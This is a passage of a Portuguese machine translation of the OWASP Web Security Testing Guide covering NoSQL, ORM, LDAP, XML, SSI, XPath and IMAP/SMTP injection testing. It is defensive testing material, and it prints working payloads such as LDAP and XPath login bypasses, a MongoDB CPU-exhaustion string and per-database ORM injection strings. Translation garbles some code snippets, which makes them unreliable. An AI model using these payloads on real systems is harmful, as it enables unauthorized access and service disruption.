WSTG v4.2 276 465

Machine Translated by Google
274
Guia de teste de segurança da Web v4.2
Testando para injeção NoSQL
Resumo
Os bancos de dados NoSQL fornecem restrições de consistência mais flexíveis do que os bancos de dados SQL tradicionais. Ao exigir menos
restrições relacionais e verificações de consistência, os bancos de dados NoSQL geralmente oferecem benefícios de desempenho e dimensionamento.
No entanto, esses bancos de dados ainda são potencialmente vulneráveis a ataques de injeção, mesmo que não estejam usando a sintaxe SQL tradicional.
Como esses ataques de injeção NoSQL podem ser executados em uma linguagem procedural, em vez de na linguagem SQL declarativa , os impactos
potenciais são maiores do que a injeção SQL tradicional.
As chamadas de banco de dados NoSQL são escritas na linguagem de programação do aplicativo, uma chamada de API personalizada ou formatadas
JSON principalmente
de acordo com uma convenção comum (como XML , LINQ , etc). ,A entrada maliciosa direcionada
as verificações
a essasde
especificações
sanitização depode
aplicativos.
não acionar
Por exemplo,
filtrar caracteres especiais HTML comuns, como < > & ; não impedirá ataques contra uma API JSON, onde os caracteres especiais incluem / { } :
.
Existem agora mais de 150 bancos de dados NoSQL disponíveis para uso dentro de um aplicativo, fornecendo APIs em uma variedade de linguagens
e modelos de relacionamento. Cada um oferece diferentes recursos e restrições. Como não há uma linguagem comum entre eles, o código de injeção
de exemplo não se aplicará a todos os bancos de dados NoSQL. Por esse motivo, qualquer pessoa que esteja testando ataques de injeção NoSQL
precisará se familiarizar com a sintaxe, o modelo de dados e a linguagem de programação subjacente para criar testes específicos.
Os ataques de injeção NoSQL podem ser executados em diferentes áreas de um aplicativo do que a injeção SQL tradicional. Onde a injeção de SQL
seria executada no mecanismo de banco de dados, as variantes NoSQL podem ser executadas na camada de aplicativo ou na camada de banco de
dados, dependendo da API NoSQL usada e do modelo de dados. Normalmente, os ataques de injeção NoSQL serão executados onde a string de
ataque é analisada, avaliada ou concatenada em uma chamada de API NoSQL.
Ataques de temporização adicionais podem ser relevantes para a falta de verificações de simultaneidade em um banco de dados NoSQL. Estes não
são cobertos pelo teste de injeção. No momento em que escrevo, o MongoDB é o banco de dados NoSQL mais usado e, portanto, todos os exemplos
apresentarão APIs do MongoDB.
Como testar
Testando vulnerabilidades de injeção NoSQL no MongoDB A API do MongoDB
espera chamadas BSON (JSON binário) e inclui uma ferramenta de montagem de consulta BSON segura. No entanto, de acordo com a documentação
do MongoDB - expressões JSON e JavaScript não serializadas são permitidos em vários parâmetros de consulta alternativos. A chamada de API mais
comumente usada que permite entrada JavaScript arbitrária é o operador $where .
O operador $where do MongoDB normalmente é usado como um filtro ou verificação simples, pois está dentro do SQL.
db.myCollection.find( { $where: "this.credits`` ``==`` ``this.debits" } );
Opcionalmente, o JavaScript também é avaliado para permitir condições mais avançadas.
db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );
Exemplo 1 Se
um invasor for capaz de manipular os dados passados para o operador $where , esse invasor poderá incluir JavaScript arbitrário para ser avaliado
como parte da consulta do MongoDB. Um exemplo de vulnerabilidade é exposto no código a seguir, se a entrada do usuário for passada diretamente
para a consulta do MongoDB sem sanitização.
db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput;
} } );;
Machine
275
Translated by Google
Assim como no teste de outros tipos de injeção, não é necessário explorar totalmente a vulnerabilidade para demonstrar um problema.
Ao injetar caracteres especiais relevantes para a linguagem de API de destino e observar os resultados, um testador pode determinar se
o aplicativo limpou corretamente a entrada. Por exemplo, no MongoDB, se uma string contendo qualquer um dos seguintes caracteres
especiais fosse passada sem sanitização, isso acionaria um erro de banco de dados.
'"\;{}
Com a injeção SQL normal, uma vulnerabilidade semelhante permitiria que um invasor executasse comandos SQL arbitrários - expondo
ou manipulando dados à vontade. No entanto, como o JavaScript é uma linguagem com todos os recursos, isso não apenas permite que
um invasor manipule dados, mas também execute código arbitrário. Por exemplo, em vez de apenas causar um erro durante o teste, uma
exploração completa usaria os caracteres especiais para criar um JavaScript válido.
Esta entrada 0;var data=nova data(); do{curDate = new Date();}while(curDate-date<10000) inserido em $userInput no código de exemplo
acima resultaria na execução da seguinte função JavaScript. Essa sequência de ataque específica faria com que toda a instância do
MongoDB fosse executada com 100% de uso da CPU por 10 segundos.
function() { return obj.credits - obj.debits < 0;var date=new Date(); fazer{curDate = novo
Date();}while(curDate-date<10000); }
Exemplo 2
Mesmo que a entrada usada nas consultas seja completamente limpa ou parametrizada, há um caminho alternativo no qual alguém pode
acionar a injeção NoSQL. Muitas instâncias NoSQL têm seus próprios nomes de variáveis reservadas, independentemente da linguagem
de programação do aplicativo.
Por exemplo, no MongoDB, a própria sintaxe $where é um operador de consulta reservado. Ele precisa ser passado para a consulta
exatamente como mostrado; qualquer alteração causaria um erro no banco de dados. No entanto, como $where também é um nome de
variável PHP válido, pode ser possível para um invasor inserir código na consulta criando uma variável PHP chamada $where . A
documentação do PHP MongoDB adverte explicitamente os desenvolvedores:
Certifique-se de que para todos os operadores de consulta especiais (começando com $ ) você use aspas simples para que o PHP não
tente substituir $exists pelo valor da variável $exists .
Mesmo que uma consulta não dependa da entrada do usuário, como no exemplo a seguir, um invasor pode explorar o MongoDB
substituindo o operador por dados mal-intencionados.
db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );
Uma maneira de potencialmente atribuir dados a variáveis PHP é por meio da Poluição de Parâmetro HTTP (consulte: Testando a
Poluição de Parâmetro HTTP). Ao criar uma variável chamada $where via poluição de parâmetro, pode-se acionar um erro do MongoDB
indicando que a consulta não é mais válida. Qualquer valor de $where diferente da própria string $where deve ser suficiente para
demonstrar a vulnerabilidade. Um invasor desenvolveria uma exploração completa inserindo o seguinte:
$where: function() { //JavaScript arbitrário aqui }
Referências
Cargas úteis de injeção
Lista de palavras de carga útil de injeção com exemplos de injeção NoSQL para MongoDB
Artigos técnicos
Bryan Sullivan da Adobe: “Injeção de JavaScript no lado do servidor”
Bryan Sullivan da Adobe: “NoSQL, mas ainda menos segurança”
Erlend da Bekk Consulting: “[Segurança] NOSQL-injection”

Felipe Aragon da Syhunt: “NoSQL/SSJS Injection”
Documentação do MongoDB: “Como o MongoDB aborda a injeção de SQL ou Query?”

Machine
276
Documentação do PHP: “MongoCollection::find”
Hackeando NodeJS e MongoDB
Atacando NodeJS e MongoDB

Machine
277
Teste para injeção de ORM
Resumo
Injeção de mapeamento relacional de objetos (ORM) é um ataque usando SQL Injection contra um modelo de objeto de acesso a dados gerado
por ORM. Do ponto de vista de um testador, esse ataque é virtualmente idêntico a um ataque de SQL Injection. No entanto, a vulnerabilidade de
injeção existe no código gerado pela camada ORM.
Os benefícios de usar uma ferramenta ORM incluem a geração rápida de uma camada de objeto para se comunicar com um banco de dados
relacional, padronizar modelos de código para esses objetos e geralmente fornecer um conjunto de funções seguras para proteção contra
ataques de SQL Injection. Objetos gerados por ORM podem usar SQL ou, em alguns casos, uma variante de SQL, para executar operações
CRUD (Criar, Ler, Atualizar, Excluir) em um banco de dados. É possível, no entanto, que um aplicativo da Web usando objetos gerados por
ORM seja vulnerável a ataques de SQL Injection se os métodos puderem aceitar parâmetros de entrada não sanitizados.
Como testar
As camadas ORM podem estar sujeitas a vulnerabilidades, pois estendem a superfície de ataque. Em vez de direcionar diretamente o aplicativo
com consultas SQL, você estaria se concentrando em abusar da camada ORM para enviar consultas SQL maliciosas.
Identifique a camada ORM Para
testar e entender com eficiência o que está acontecendo entre suas solicitações e as consultas de back-end, e como tudo relacionado à
realização de testes adequados, é essencial identificar a tecnologia que está sendo usada. Ao seguir o capítulo de coleta de informações , você
deve estar ciente da tecnologia que está sendo usada pelo aplicativo em questão. Verifique esta lista de idiomas de mapeamento para seus
respectivos ORMs.
Abusando da Camada ORM

Após identificar o possível ORM que está sendo utilizado, torna-se fundamental entender como está o funcionamento do seu parser, e estudar
métodos para abusar dele, ou ainda, se a aplicação estiver utilizando uma versão antiga, identificar os CVEs pertencentes à biblioteca que está
sendo utilizada. Às vezes, as camadas ORM não são implementadas corretamente e, portanto, permitem que o testador conduza SQL Injection
normal, sem se preocupar com a camada ORM.
Implementação fraca de ORM

Um cenário vulnerável onde a camada ORM não foi implementada corretamente, retirado do SANS:
+
List results = session.createQuery("from Orders as orders where orders.id = currentOrder.getId()).list(); "
List results = session.createSQLQuery("Selecione * de Books where author = book.getAuthor()). Lista();
+
"
O acima não implementou o parâmetro posicional, que permite ao desenvolvedor substituir a entrada por um ? . Um exemplo seria assim:
Query hqlQuery = session.createQuery("from Orders as orders where orders.id = ?"); Resultados da lista =
hqlQuery.setString(0, "123-ADB-567-QTWYTFDL").list(); // 0 é a primeira posição, onde é substituído dinamicamente pelo conjunto de
strings
Essa implementação deixa a validação e sanitização para serem feitas pela camada ORM, e a única forma de contorná-la seria identificando
um problema com a camada ORM.
Camada ORM Vulnerável

278
As camadas ORM são código, bibliotecas de terceiros na maioria das vezes. Eles podem ser vulneráveis como qualquer outro pedaço de código.
Um exemplo poderia ser a biblioteca sequencial ORM npm que foi considerado vulnerável em 2019. Em outra pesquisa feita pela RIPS Tech,
desvios foram identificados no hibernate ORM usado pelo Java.
Com base no artigo do blog, uma folha de dicas que pode permitir que o testador identifique problemas pode ser descrita da seguinte forma:
DBMS Injeção SQL
MySQL abc\' INTO OUTFILE --
PostgreSQLName `$$='$$=chr(61)
Oráculo NVL(TO_CHAR(DBMS_XMLGEN.getxml('selecionar 1 onde 1337>1')),'1')!='1'
MSSQL 1<LEN(%C2%A0(selecione%C2%A0top%C2%A01%C2%A0nome%C2%A0de%C2%A0usuários)
Outro exemplo incluiria o Laravel Query-Builder, que foi considerado vulnerável em 2019.
Referências
Wikipédia - ORM
Novos métodos para explorar injeções de ORM em aplicativos Java (HITB16)
Slides HITB2016 - Injeções de ORM em aplicativos Java]
Consertando SQL Injection: ORM não é suficiente
PayloadAllTheThings - Injeção HQL

279
Teste para o lado do cliente
Resumo
A injeção de SQL do lado do cliente ocorre quando um aplicativo implementa o banco de dados Web SQL tecnologia e não valida
adequadamente a entrada nem parametriza suas variáveis de consulta. Este banco de dados é manipulado usando JavaScript (JS)
Chamadas de API, como openDatabase() , que cria ou abre um banco de dados existente.
Objetivos do teste
O cenário de teste a seguir validará se a validação de entrada adequada foi realizada. Se a implementação for vulnerável, o invasor pode ler,
modificar ou excluir as informações armazenadas no banco de dados.
Como testar
Identificar o uso do banco de dados SQL da Web
Se o aplicativo testado implementar o banco de dados Web SQL, as três chamadas a seguir serão usadas no núcleo do lado do cliente:
openDatabase()
transação()
executeSQL()
O código abaixo mostra um exemplo de implementação das APIs:
var db = openDatabase(shortName, versão, displayName, maxSize);
db.transaction(função(transação) {
transaction.executeSql('INSERT INTO LOGS (time, id, log) VALUES (?, ?, ?)', [dateTime, id, log]); });
Web SQL DB Injection Depois
de confirmar o uso de executeSQL() , o invasor está pronto para testar e validar a segurança de sua implementação.
A implementação do Web SQL DB é baseada na sintaxe do SQLite.
Ignorando condições
O exemplo a seguir mostra como isso pode ser explorado no lado do cliente:
// Exemplo de URL: https://example.com/user#15 var userId =

document.location.hash.substring(1,); // Pega o ID sem o hash -> 15
db.transaction(function(transaction)
{ transaction.executeSQL('SELECT * DE usuários ONDE usuário = ' + id do usuário);
});
Para retornar informações de todos os usuários, em vez de apenas o usuário correspondente ao invasor, pode-se usar o seguinte: 15 OR 1=1
no fragmento de URL.
Para cargas adicionais de SQL Injection, vá para o cenário Testing for SQL Injection .
Remediação
280
Siga a mesma correção da seção Testing for SQL Injection's Remediation.
Referências
Banco de dados SQL da Web do W3C
Tutorial de banco de dados JavaScript da Apple
Tutorialspoint HTML5 Web SQL Database

Injeção de SQL do lado do cliente do Portswigger
281
Teste para injeção de LDAP
EU IRIA
WSTG-INPV-06
Resumo
O Lightweight Directory Access Protocol (LDAP) é usado para armazenar informações sobre usuários, hosts e muitos outros objetos. Injeção de LDAP é
um ataque do lado do servidor, que pode permitir que informações confidenciais sobre usuários e hosts representados em uma estrutura LDAP sejam
divulgadas, modificadas ou inseridas. Isso é feito manipulando os parâmetros de entrada depois passados para as funções internas de pesquisa, adição
e modificação.
Um aplicativo da web pode usar o LDAP para permitir que os usuários autentiquem ou pesquisem as informações de outros usuários dentro de uma
estrutura corporativa. O objetivo dos ataques de injeção de LDAP é injetar metacaracteres de filtros de pesquisa LDAP em uma consulta que será
executada pelo aplicativo.
Rfc2254 define uma gramática sobre como construir um filtro de pesquisa em LDAPv3 e estende Rfc1960 (LDAPv2).
Um filtro de pesquisa LDAP é construído em notação polonesa, também conhecida como notação de prefixo de notação polonesa.
Isso significa que uma condição de pseudocódigo em um filtro de pesquisa como este:
find("cn=John & userPassword=mypass")
será representado como:
find("(&(cn=John)(userPassword=mypass))")
Condições booleanas e agregações de grupo em um filtro de pesquisa LDAP podem ser aplicadas usando os seguintes metacaracteres:
Metacar Significado
& Booleano AND
| OU booleano
! Booleano NÃO
= É igual a
~= Aproximadamente
>= Maior que
<= Menor que
*
Qualquer personagem
() Parênteses de agrupamento
Exemplos mais completos sobre como criar um filtro de pesquisa podem ser encontrados no RFC relacionado.
Uma exploração bem-sucedida de uma vulnerabilidade de injeção de LDAP pode permitir que o testador:
Acessar conteúdo não autorizado

282
Fuja das restrições de aplicativos

Reúna informações não autorizadas
Adicione ou modifique objetos dentro da estrutura de árvore do LDAP.
Objetivos do teste
Identifique os pontos de injeção do LDAP.
Avalie a gravidade da injeção.
Como testar
Exemplo 1: filtros de pesquisa
Suponhamos que temos uma aplicação web utilizando um filtro de busca como o seguinte:
searchfilter="(cn="+usuário+")"
que é instanciado por uma solicitação HTTP como esta:
http://www.example.com/ldapsearch?user=John
*
Se o valor John for substituído por um , enviando a solicitação:
http://www.example.com/ldapsearch?user=*
o filtro ficará assim:
searchfilter="(cn=*)"
que corresponde a cada objeto com um atributo 'cn' igual a qualquer coisa.
Se o aplicativo for vulnerável à injeção de LDAP, ele exibirá alguns ou todos os atributos do usuário, dependendo do fluxo de execução do aplicativo e
das permissões do usuário conectado ao LDAP.
Um testador pode usar uma abordagem de tentativa e erro, inserindo no parâmetro ( , para verificar se | , & , * e os demais personagens, em
há erros no aplicativo.
Exemplo 2: Login
Se um aplicativo da web usa LDAP para verificar as credenciais do usuário durante o processo de login e é vulnerável à injeção de LDAP, é possível
ignorar a verificação de autenticação injetando uma consulta LDAP sempre verdadeira (de maneira semelhante à injeção de SQL e XPATH).
Vamos supor que um aplicativo da Web use um filtro para corresponder ao par usuário/senha do LDAP.
searchlogin= "(&(uid="+user+")(userpassword={md5}"+base64(pack("h*"md5(pass)))+"))";
Usando os seguintes valores:
usuário=*)(uid=*))(|(uid=*
pass=senha
o filtro de pesquisa resultará em:
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";
o que é correto e sempre verdadeiro. Dessa forma, o testador obterá o status de logado como o primeiro usuário na árvore LDAP.
283
Ferramentas
Navegador LDAP Softerra
Referências
Folha de dicas de prevenção de injeção de LDAP
Artigos técnicos
Sacha Faust: Injeção de LDAP: Seus aplicativos são vulneráveis?
Documento da IBM: Compreendendo o LDAP
RFC 1960: uma representação de string dos filtros de pesquisa LDAP
Injeção de LDAP
284
Teste para injeção de XML
EU IRIA
WSTG-INPV-07
Resumo
O teste de injeção XML é quando um testador tenta injetar um documento XML no aplicativo. Se o analisador XML falhar ao validar os dados
contextualmente, o teste produzirá um resultado positivo.
Esta seção descreve exemplos práticos de XML Injection. Primeiro, uma comunicação de estilo XML será definida e seus princípios de funcionamento
explicados. Em seguida, o método de descoberta no qual tentamos inserir metacaracteres XML. Concluída a primeira etapa, o testador terá algumas
informações sobre a estrutura XML, para que possa tentar injetar dados e tags XML (Tag Injection).
Objetivos do teste
Identificar pontos de injeção de XML.
Avalie os tipos de exploits que podem ser obtidos e suas gravidades.
Como testar
Suponhamos que exista uma aplicação web utilizando uma comunicação estilo XML para realizar o cadastro de usuários. Isso é feito criando e adicionando
um novo nó user> em um arquivo xmlDb .
Vamos supor que o arquivo xmlDB seja como o seguinte:
<?xml version="1.0" encoding="ISO-8859-1"?> <usuários>
<usuário>
<username>gandalf</username>
<password>!c3</password> <userid>0</
userid>
<mail>gandalf@middleearth.com</mail>
</usuário>
<usuário>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</usuário>
</users>
Quando um usuário se cadastra preenchendo um formulário HTML, a aplicação recebe os dados do usuário em uma requisição padrão, que, para
simplificar, deverá ser enviada como uma requisição GET .
Por exemplo, os seguintes valores:
Nome de usuário:
tony Senha: Un6R34kb!e
E-mail: s4tan@hell.com
produzirá o pedido:
285
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com
O aplicativo, então, constrói o seguinte nó:
<usuário>
<username>tony</username>
<password>Un6R34kb!e</password>
<mail>s4tan@hell.com</mail>
</usuário>
que será adicionado ao xmlDB:
<?xml version="1.0" encoding="ISO-8859-1"?>

<usuários>
<usuário>
userid>
</usuário>
<usuário>
</usuário>
<usuário>
<mail>s4tan@hell.com</mail> </user>
</users>
Descoberta A
primeira etapa para testar um aplicativo quanto à presença de uma vulnerabilidade de injeção de XML consiste em tentar inserir
metacaracteres XML.
Os metacaracteres XML são:
Aspas simples: ' - Quando não limpo, este caractere pode lançar uma exceção durante a análise XML, se o injetado
valor fará parte de um valor de atributo em uma tag.
Como exemplo, vamos supor que exista o seguinte atributo:
<node attrib='$inputValue'/>
Então se:
valorentrada = foo'
é instanciado e então inserido como o valor do atributo:
<node attrib='foo''/>
então, o documento XML resultante não está bem formado.

286
Aspas duplas: " - este caractere tem o mesmo significado que as aspas simples e pode ser usado se o valor do atributo
está entre aspas duplas.
<node attrib="$inputValue"/>
Então se:
$inputValue = foo"
a substituição dá:
<node attrib="foo""/>
e o documento XML resultante é inválido.
Parênteses angulares: > e < - Adicionando um parêntese angular aberto ou fechado em uma entrada do usuário como a
seguir:
Nome de usuário = foo<
o aplicativo criará um novo nó:
<usuário>
<username>foo<</username>
</usuário>
mas, devido à presença do '<' aberto, o documento XML resultante é inválido.
Tag de comentário:  - Esta sequência de caracteres é interpretada como o início/fim de um comentário. Então,
injetando um deles no parâmetro Username:
Nome de usuário = foo<userid>0</userid><mail>s4tan@hell.com</mail>
</usuário>
</users>
O nó do ID do usuário original foi comentado, deixando apenas o injetado. O documento agora está em conformidade com suas regras DTD.
Revisão do código-fonte
A API Java a seguir pode ser vulnerável a XXE se não for configurada corretamente.
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory TransformerFactory
SAXReader
DocumentHelper
SAXBuilderGenericName
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
Verifique o código-fonte se docType, DTD externo e entidades de parâmetro externo estiverem definidas como usos proibidos.
291
Folha de dicas de prevenção de entidade externa XML (XXE)
Além disso, o leitor de escritório Java POI pode estar vulnerável a XXE se a versão for inferior a 3.10.1.
A versão da biblioteca POI pode ser identificada a partir do nome do arquivo JAR. Por exemplo,
poi-3.8.jar
poi-ooxml-3.8.jar
A palavra-chave do código-fonte a seguir pode se aplicar a C.
libxml2: xmlCtxtReadMemory,xmlCtxtUseOptions,xmlParseInNodeContext,xmlReadDoc,xmlReadFd,xmlReadFile ,xmlReadIO,xmlReadMemory,

xmlCtxtReadDoc,xmlCtxtReadFd,xmlCtxtReadFile,xmlCtxtReadIO
libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader
Ferramentas
XML Injection Fuzz Strings (da ferramenta wfuzz)
Referências
Injeção de XML
Gregory Steuck, “ataque XXE (Xml eXternal Entity)”

Folha de dicas de prevenção OWASP XXE
292
Teste para injeção de SSI
EU IRIA
WSTG-INPV-08
Resumo
Os servidores Web geralmente oferecem aos desenvolvedores a capacidade de adicionar pequenos pedaços de código dinâmico dentro de páginas
HTML estáticas, sem ter que lidar com linguagens completas do lado do servidor ou do lado do cliente. Esse recurso é fornecido pelo Server-Side
Includes (SSI).
Server-Side includes são diretivas que o servidor web analisa antes de servir a página para o usuário. Eles representam uma alternativa para escrever
programas CGI ou incorporar código usando linguagens de script do lado do servidor, quando há necessidade apenas de executar tarefas muito
simples. As implementações SSI comuns fornecem diretivas (comandos) para incluir arquivos externos, para definir e imprimir variáveis de ambiente
CGI do servidor web ou para executar scripts CGI externos ou comandos do sistema.
O SSI pode levar a uma Execução de Comando Remoto (RCE), no entanto, a maioria dos servidores da web tem a diretiva exec desativada por
padrão.
Esta é uma vulnerabilidade muito semelhante a uma vulnerabilidade clássica de injeção de linguagem de script. Uma mitigação é que o servidor web
precisa ser configurado para permitir SSI. Por outro lado, as vulnerabilidades de injeção SSI costumam ser mais simples de explorar, pois as diretivas
SSI são fáceis de entender e, ao mesmo tempo, bastante poderosas, por exemplo, podem produzir o conteúdo de arquivos e executar comandos do
sistema.
Objetivos do teste
Identificar os pontos de injeção de SSI.

Como testar
Para testar o SSI explorável, injete diretivas SSI como entrada do usuário. Se o SSI estiver ativado e a validação de entrada do usuário não tiver sido
implementada corretamente, o servidor executará a diretiva. Isso é muito semelhante a uma vulnerabilidade clássica de injeção de linguagem de
script, pois ocorre quando a entrada do usuário não é devidamente validada e sanitizada.
Primeiro, determine se o servidor web oferece suporte às diretivas SSI. Muitas vezes, a resposta é sim, pois o suporte SSI é bastante comum. Para
determinar se as diretivas SSI são suportadas, descubra o tipo de servidor da Web que o destino está executando usando técnicas de coleta de
informações (consulte Servidor da Web de impressão digital). Se você tiver acesso ao código, determine se as diretivas SSI são usadas pesquisando
nos arquivos de configuração do servidor da Web por palavras-chave específicas.
Outra forma de verificar se as diretivas SSI estão habilitadas é verificando as páginas com a extensão .shtml , que está associada às diretivas SSI. O
uso da extensão .shtml não é obrigatório, portanto não ter encontrado nenhum arquivo .shtml não significa necessariamente que o alvo não seja
vulnerável a ataques de injeção SSI.
A próxima etapa é determinar todos os possíveis vetores de entrada do usuário e testar para ver se a injeção SSI é explorável.
Primeiro encontre todas as páginas onde a entrada do usuário é permitida. Possíveis vetores de entrada também podem incluir cabeçalhos e cookies.
Determine como a entrada é armazenada e usada, ou seja, se a entrada é retornada como uma mensagem de erro ou elemento de página e se foi
modificada de alguma forma. O acesso ao código-fonte pode ajudá-lo a determinar mais facilmente onde estão os vetores de entrada e como a
entrada é tratada.
Depois de ter uma lista de possíveis pontos de injeção, você pode determinar se a entrada foi validada corretamente. Certifique-se de que é possível
injetar caracteres usados em diretivas SSI, como <!#=/."-> e [a-zA-Z0-9]
Machine
293
O exemplo abaixo retorna o valor da variável. A seção de referências possui links úteis com documentação específica do servidor para ajudá-lo a avaliar
melhor um determinado sistema.

Ao usar a diretiva include , se o arquivo fornecido for um script CGI, esta diretiva incluirá a saída do script CGI. Esta diretiva também pode ser usada para
incluir o conteúdo de um arquivo ou listar arquivos em um diretório:

Para retornar a saída de um comando do sistema:

Se o aplicativo for vulnerável, a diretiva é injetada e será interpretada pelo servidor na próxima vez que a página
é servido.
As diretivas SSI também podem ser injetadas nos cabeçalhos HTTP, se o aplicativo da Web estiver usando esses dados para criar uma página gerada
dinamicamente:
GET / HTTP/1.1
Host: www.example.com
Referer:  User-Agent:

Ferramentas
Web Proxy Burp Suite
OWASP ZAP
Pesquisador de strings: grep
Referências
Módulo Nginx SSI
Apache: módulo mod_include
IIS: Server Side Inclui diretivas
Apache Tutorial: Introdução ao lado do servidor inclui
Apache: dicas de segurança para configuração do servidor
SSI Injection em vez de JavaScript Malware
IIS: Notas sobre sintaxe de inclusão do lado do servidor (SSI)

Exploração baseada em cabeçalho
294
Teste para injeção de XPath
EU IRIA
WSTG-INPV-09
Resumo
XPath é uma linguagem que foi projetada e desenvolvida principalmente para endereçar partes de um documento XML. No teste de injeção XPath,
testamos se é possível injetar a sintaxe XPath em uma solicitação interpretada pelo aplicativo, permitindo que um invasor execute consultas XPath
controladas pelo usuário. Quando explorada com sucesso, esta vulnerabilidade pode permitir que um invasor contorne os mecanismos de autenticação ou
acesse informações sem a devida autorização.
Os aplicativos da Web usam intensamente os bancos de dados para armazenar e acessar os dados de que precisam para suas operações. Historicamente,
bancos de dados relacionais têm sido de longe a tecnologia mais comum para armazenamento de dados, mas, nos últimos anos, estamos testemunhando
uma popularidade crescente de bancos de dados que organizam dados usando a linguagem XML. Assim como os bancos de dados relacionais são
acessados via linguagem SQL, os bancos de dados XML usam XPath como sua linguagem de consulta padrão.
Como, do ponto de vista conceitual, o XPath é muito semelhante ao SQL em sua finalidade e aplicações, um resultado interessante é que os ataques de
injeção de XPath seguem a mesma lógica do SQL Injection ataques. Em alguns aspectos, o XPath é ainda mais poderoso que o SQL padrão, pois todo o
seu poder já está presente em suas especificações, enquanto grande parte das técnicas que podem ser utilizadas em um ataque SQL Injection dependem
das características do dialeto SQL utilizado pelo o banco de dados de destino. Isso significa que os ataques de injeção XPath podem ser muito mais
adaptáveis e onipresentes. Outra vantagem de um ataque de injeção XPath é que, ao contrário do SQL, nenhuma ACL é aplicada, pois nossa consulta
pode acessar todas as partes do documento XML.
Objetivos do teste
Identifique os pontos de injeção XPATH.
Como testar
O padrão de ataque XPath foi publicado pela primeira vez por Amit Klein e é muito semelhante ao SQL Injection usual. Para se ter uma primeira noção do
problema, vamos imaginar uma página de login que gerencie a autenticação a uma aplicação na qual o usuário deve digitar seu nome de usuário e senha.
Vamos supor que nosso banco de dados seja representado pelo seguinte arquivo XML:
<?xml version="1.0" encoding="ISO-8859-1"?>

<usuários>
<usuário>
<username>gandalf</username> <password>!
c3</password> <account>admin</account>
</usuário>
<usuário>
<account>convidado</account>
</usuário>
<usuário>
<account>convidado</account>
</usuário>
</users>
295
Uma consulta XPath que retorna a conta cujo nome de usuário é gandalf e a senha é !c3 seria a seguinte:
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())
Se o aplicativo não filtrar corretamente a entrada do usuário, o testador poderá injetar o código XPath e interferir no resultado
da consulta. Por exemplo, o testador pode inserir os seguintes valores:
Nome do usuário:
' ou '1' = '1
Senha: ' ou '1' = '1
Parece bastante familiar, não é? Usando esses parâmetros, a consulta se torna:
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
Como em um ataque SQL Injection comum, criamos uma consulta que sempre é avaliada como true, o que significa que o
aplicativo autenticará o usuário mesmo que um nome de usuário ou senha não tenha sido fornecido. E como em um ataque
comum de SQL Injection, com injeção de XPath, o primeiro passo é inserir uma aspa simples ( ' ) no campo a ser testado,
introduzindo um erro de sintaxe na consulta, e verificar se a aplicação retorna alguma mensagem de erro .
Se não houver conhecimento sobre os detalhes internos dos dados XML e se o aplicativo não fornecer mensagens de erro
úteis que nos ajudem a reconstruir sua lógica interna, é possível realizar uma injeção cega de XPath ataque, cujo objetivo é
reconstruir toda a estrutura de dados. A técnica é semelhante à SQL Injection baseada em inferência, pois a abordagem é
injetar código que cria uma consulta que retorna um bit de informação. Injeção cega de XPath é explicado com mais detalhes
por Amit Klein no artigo referenciado.
Referências
Artigos técnicos
Amit Klein: “Injeção cega de XPath”
Especificações do XPath 1.0

296
Teste para injeção SMTP IMAP
EU IRIA
WSTG-INPV-10
Resumo
Esta ameaça afeta todos os aplicativos que se comunicam com servidores de correio (IMAP/SMTP), geralmente aplicativos de webmail.
O objetivo deste teste é verificar a capacidade de injetar comandos IMAP/SMTP arbitrários nos servidores de correio, devido aos dados de
entrada não serem devidamente higienizados.
A técnica de injeção de IMAP/SMTP é mais eficaz se o servidor de correio não estiver diretamente acessível pela Internet. Onde a comunicação
total com o servidor de correio de back-end for possível, é recomendável conduzir o teste direto.
Uma injeção IMAP/SMTP possibilita o acesso a um servidor de correio que, de outra forma, não seria acessível diretamente pela Internet. Em
alguns casos, esses sistemas internos não têm o mesmo nível de segurança de infraestrutura e proteção aplicado aos servidores web front-end.
Portanto, os resultados do servidor de correio podem ser mais vulneráveis a ataques de usuários finais (consulte o esquema apresentado na
Figura 1).
Figura 4.7.10-1: Comunicação com os servidores de correio usando a técnica de injeção IMAP/SMTP
A Figura 1 mostra o fluxo de tráfego geralmente visto ao usar tecnologias de webmail. As etapas 1 e 2 são o usuário interagindo com o cliente
de webmail, enquanto a etapa 2 é o testador ignorando o cliente de webmail e interagindo diretamente com os servidores de email de back-end.
Esta técnica permite uma grande variedade de ações e ataques. As possibilidades dependem do tipo e escopo da injeção e da tecnologia de
servidor de e-mail que está sendo testada.
Alguns exemplos de ataques usando a técnica de injeção IMAP/SMTP são:
Exploração de vulnerabilidades no protocolo IMAP/SMTP
Evasão de restrições de aplicativos
Evasão de processo anti-automação

Vazamentos de informações
retransmissão/spam
Objetivos do teste
Identificar pontos de injeção IMAP/SMTP.
Entenda o fluxo de dados e a estrutura de implantação do sistema.
297
Avalie os impactos da injeção.
Como testar
Identificando Parâmetros Vulneráveis Para
detectar parâmetros vulneráveis, o testador precisa analisar a capacidade do aplicativo em lidar com a entrada. O teste de validação de entrada
exige que o testador envie solicitações falsas ou maliciosas ao servidor e analise a resposta. Em um aplicativo seguro, a resposta deve ser um erro
com alguma ação correspondente informando ao cliente que algo deu errado. Em um aplicativo vulnerável, a solicitação maliciosa pode ser
processada pelo aplicativo de back-end que responderá com uma mensagem de resposta HTTP 200 OK .
É importante observar que as solicitações enviadas devem corresponder à tecnologia que está sendo testada. Enviar strings de injeção SQL para o
servidor Microsoft SQL quando um servidor MySQL estiver sendo usado resultará em respostas falsas positivas. Nesse caso, o envio de comandos
IMAP maliciosos é um modus operandi, pois o IMAP é o protocolo subjacente que está sendo testado.
